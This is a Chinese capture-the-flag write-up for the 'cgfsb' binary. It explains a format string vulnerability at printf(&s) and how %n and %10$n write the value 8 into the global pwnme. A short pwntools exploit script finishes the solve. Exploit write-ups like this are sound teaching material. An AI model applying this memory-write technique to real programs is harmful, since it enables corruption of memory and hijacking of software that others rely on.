0x01 准备
拿到程序首先查看下文件属性,是32位的elf可执行文件,开启了NX(将数据所在页标识为不可执行),RELRO(设置符号重定向表为只读或在程序启动时就解析并绑定所有动态符号,Partial RELRO说明我们对got表具有写权限),Stack Canary found说明对栈进行了保护,一般不可覆盖函数返回地址进行攻击。
执行函数可以看到先让我们输入name,再让我们输入了message,有输入的地方都有可能触发漏洞。
0x02 操作
1、使用ida查看源代码,可以看到printf(&s)处存在格式化字符串漏洞。而我们的目标是使全局变量pwnme处的值为8,我们要想办法把8写到pwnme(0804A068)的位置。
2、下面我们来分析下格式化字符串漏洞原理
正常的printf的函数为
printf("test %d,test %s ",123,"test")
函数参数压栈顺序为从右向左
堆栈图如图所示
如果printf写成printf(&s)的形式,那么会把s代表的字符串当成format。如果s=“%x%x%x”,就会从format所在地址往下读取3个32bit的值,而这三个4字节数据位于main函数的堆栈中,如图所示
我们可以用printf中的%n来进行利用。
%n:将%n之前printf已经打印的字符个数赋值给指针所指向的地址
%N$n:将%n之前printf已经打印的字符个数赋值给printf的第n个参数(把format看成第0个参数)里的指针所指向的位置
%x:将数以16进制输出,最多输出4个字节
0x03 利用
1、查看伪代码,我们可以看到s变量距离main函数栈顶为28h个字节,即10进制的40个字节。
2、我们输入的message将存在以s变量地址为起始的位置处。而s距离format偏移为10(10*4个字节)。我们只要把pwnme的地址(4个字节)放在s的起始位置,再加上4个字节,接着存入%10$n,即可实现将(4+4)8存入距离format偏移10这个地址里面的值所指向的地址(即pwnme的地址)。
利用堆栈图如下:
3、代码
from pwn import *
context(os='linux', arch='i386', log_level='debug')
#sh=remote("",45107)
sh=process("./cgfsb")
elf=ELF("./cgfsb")
pwnme=elf.symbols['pwnme']
#print("%x"%pwnme)
payload=p32(pwnme)+p32(0x11111111)+b"%10$n"
sh.sendlineafter("name",str(1))
sh.sendlineafter("please",payload)
sh.interactive()
4、成功获取到flag
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。